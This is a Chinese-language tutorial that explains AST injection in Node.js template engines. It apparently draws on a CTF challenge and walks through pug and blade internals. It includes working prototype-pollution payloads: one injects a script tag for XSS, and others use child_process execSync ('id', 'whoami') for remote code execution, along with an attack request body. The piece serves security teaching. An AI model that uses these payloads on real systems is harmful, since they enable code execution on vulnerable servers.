其他
原创 | 一文带你理解AST Injection
模板引擎是什么
// 安装EJS模块:npm install ejs
// 引入EJS模块
const ejs = require('ejs');
// 定义模板
const template = `
<h1>Hello, <%= name %>!</h1>
`;
// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
// 安装Handlebars模块:npm install handlebars
// 引入Handlebars模块
const handlebars = require('handlebars');
// 定义模板
const template = `
<h1>Hello, {{name}}!</h1>
`;
// 编译模板
const compiledTemplate = handlebars.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
// 安装Pug模块:npm install pug
// 引入Pug模块
const pug = require('pug');
// 定义模板
const template = `
h1 Hello, #{name}!
`;
// 编译模板
const compiledTemplate = pug.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
总结:可以看到模版引擎其实都有各自的一些特定语
模板引擎的工作原理
attrs[name] = attrs[value]
if(ast.block){
}
for(var i in node){
}
赋值操作未判断对应的属性是否为对象自身的属性,导致访问到原型链的 Object.prototype 的属性
判断某个属性是否存在,同样未判断是否为对象自身属性是否存在,若存在原型链污染,则可以进入if判断
JS的 for...in 循环会遍历对象的所有可枚举属性,包括原型链上的属性。例如:
let obj = { a: 1, b: 2 };
obj.__proto__.c = 3;
for (let i in obj) {
console.log(i); // a, b, c
}
AST树的生成本质上是影响生成的字符串,因此也可以导致XSS漏洞 代码执行的那一步才会导致RCE,这时候需要第一步通过原型链污染注入代码,进而影响生成的代码
pug template AST injection 示例
const pug = require('pug');
// 模拟原型链污染
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});
(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
AST Injection原理分析(以pug为例)
语法树结构
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
语法树生成后,会调用 walkAst 执行语法树的解析过程,依次对每个节点的类型进行判断,即如下代码:
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
语法树执行顺序
Block Tag Block Code ?
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
判断 ast.block 属性是否存在,此处的 ast 即当前ast语法树的节点 如果存在,继续递归解析 block
结合原型链污染
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
RCE
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
Attack example
(注,镜像已经上传,本地有docker环境可直接运行
docker run -d --restart=always -p 8007:1337 rayepeng/blitzprop:latest )
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
原型链污染
const { song } = unflatten(req.body);
var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true
AST Injection
pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 可以执行任意命令
}
}
blade漏洞挖掘实例
npm install blade
const blade = require('blade');
const template = `html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
console.log(err);
});
{
doctypes: [],
nodes: [
{
type: 'tag',
name: 'html',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'head',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'title',
id: null,
classes: [],
attributes: {},
children: [ { escape: true, type: 'text', text: 'Blade' } ],
line: 3,
col: 9
}
],
line: 2,
col: 5
},
{
type: 'tag',
name: 'body',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'div',
id: 'nav',
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'ul',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'code',
code: 'for(var i in nav)',
multiline: false,
children: [
{
type: 'tag',
name: 'li',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'a',
id: null,
classes: [],
attributes: { href: [Object] },
children: [ [Object] ],
line: 9,
col: 25
}
],
line: 8,
col: 21
}
],
line: 7,
col: 17
}
],
line: 6,
col: 13
}
],
line: 5,
col: 9
},
{
type: 'tag',
name: 'div',
id: 'content',
classes: [ 'center' ],
attributes: {},
children: [
{
type: 'tag',
name: 'h1',
id: null,
classes: [],
attributes: {},
children: [
{
escape: true,
type: 'text',
text: 'Blade is cool'
}
],
line: 11,
col: 13
}
],
line: 10,
col: 9
}
],
line: 4,
col: 5
}
],
line: 1,
col: 1
}
]
}
Object.prototype.otherprop = {'test': 'test'};
{
doctypes: [],
nodes: [
{
type: 'tag',
name: 'html',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'head',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'title',
id: null,
classes: [],
attributes: {},
children: [ { escape: true, type: 'text', text: 'Blade' } ],
line: 3,
col: 9
}
],
line: 2,
col: 5
},
{
type: 'tag',
name: 'body',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'div',
id: 'nav',
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'ul',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'code',
code: 'for(var i in nav)',
multiline: false,
children: [
{
type: 'tag',
name: 'li',
id: null,
classes: [],
attributes: {},
children: [
{
type: 'tag',
name: 'a',
id: null,
classes: [],
attributes: { href: [Object], undefined: undefined },
children: [ [Object] ],
line: 9,
col: 25
}
],
line: 8,
col: 21
}
],
line: 7,
col: 17
}
],
line: 6,
col: 13
}
],
line: 5,
col: 9
},
{
type: 'tag',
name: 'div',
id: 'content',
classes: [ 'center' ],
attributes: {},
children: [
{
type: 'tag',
name: 'h1',
id: null,
classes: [],
attributes: {},
children: [
{
escape: true,
type: 'text',
text: 'Blade is cool'
}
],
line: 11,
col: 13
}
],
line: 10,
col: 9
}
],
line: 4,
col: 5
}
],
line: 1,
col: 1
}
]
}
children: [
{
type: 'tag',
name: 'a',
id: null,
classes: [],
attributes: { href: [Object], undefined: undefined },
children: [ [Object] ],
line: 9,
col: 25
---------------------------------------------
TypeError: Compile error: Cannot read properties of undefined (reading 'text')
at <anonymous>
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:309:17)
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:356:12)
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:486:11)
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:356:12)
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:356:12)
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:356:12)
at Compiler._compileNode (/..../js-ast-injection/node_modules/blade/lib/compiler.js:356:12)
at Compiler.compile (/..../js-ast-injection/node_modules/blade/lib/compiler.js:114:9)
at Object.compile (/..../js-ast-injection/node_modules/blade/lib/blade.js:57:12)
at Object.<anonymous> (/..../js-ast-injection/blade1.js:23:7) {
source: 'html\n' +
' head\n' +
' title Blade\n' +
' body\n' +
' #nav\n' +
' ul\n' +
' - for(var i in nav)\n' +
' li\n' +
' a(href=nav[i])= i\n' +
' #content.center\n' +
' h1 Blade is cool',
column: undefined,
lastFilename: undefined,
filename: undefined,
line: undefined
}
代码分析
单纯从堆栈信息,只能看到处理语法树时候遇到的报错,具体在这里:
for(var i in attrs)
{
//interpolate text attributes
if(attrs[i].text)
{
var stringified = JSON.stringify(attrs[i].text),
interpolated = bladeutil.interpolate(stringified, ns);
//check to see if this text attribute needs to be interpolated
if(interpolated != stringified)
{
delete attrs[i].text;
attrs[i].code = interpolated;
}
}
调用栈分析
跟进 parser.parse 函数
result0 = (function(offset, line, column, name, escape, value) {
return {
'name': name,
'value': {
'escape': escape != "!",
'code': value
}
};
})(pos0.offset, pos0.line, pos0.column, result0[0], result0[1], result0[3]);
result0 = (function(offset, line, column, first_attr, next_attrs) {
var attrs = {};
attrs[first_attr.name] = first_attr.value;
for(var i in next_attrs)
attrs[next_attrs[i].name] = next_attrs[i].value;
return attrs;
})(pos0.offset, pos0.line, pos0.column, result0[3], result0[4]);
attrs[first_attr.name] = first_attr.value;
Object.prototype.otherprop = {'code': 'console.log(1)', "name": "abc", "value": "def"};
RCE
Object.prototype.someprop = {
'name': 'somename',
'value': 'somevalue',
'code' : "process.mainModule.require('child_process').execSync(`whoami`)"
};
往期推荐